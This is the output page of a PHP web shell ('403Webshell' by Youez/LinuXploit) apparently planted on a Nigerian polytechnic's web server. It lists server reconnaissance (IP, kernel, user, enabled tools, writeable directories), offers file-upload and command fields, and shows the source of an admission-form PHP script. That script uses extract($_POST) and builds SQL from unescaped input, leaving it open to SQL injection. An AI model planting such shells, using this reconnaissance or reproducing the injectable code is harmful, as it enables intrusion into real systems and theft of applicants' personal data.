403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.66
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_entranceForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_entranceForm/parentNext_edit_process.php
<?php
ob_start();
session_start();
extract($_POST);
require_once('../connect.php');
$db=db_connect();
$session='2018/2019';
$level=$_SESSION['formType'];
$formNo=$_SESSION['formNo'];

$gName=str_replace("'","''",$gName);
$gAddress=str_replace("'","''",$gAddress);
$nName=str_replace("'","''",$nName);
$nAddress=str_replace("'","''",$nAddress);
$ndit=str_replace("'","''",$ndit);
$nditaddr=str_replace("'","''",$nditaddr);



///===============================

$sql_fill=$db->query("select * from ace_stddata where formNo='$formNo'");
$sql_fill_count=$sql_fill->rowCount();

if ($sql_fill_count==1) {

$db->query("UPDATE `fedpoly`.`otherinfo` SET `gName`='$gName', `gAddress`='$gAddress', `gGsm`='$gGsm', `gRel`='$gRel', `nName`='$nName', `nAddress`='$nAddress', `nGsm`='$nGsm', `nrel`='$nRel' WHERE `otherinfo`.`formNo` = '$formNo' LIMIT 1 ");

    header('location:parentNext_edit.php?id=1');
}else{
    header('location:parentNext_edit.php?id=2');

}
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit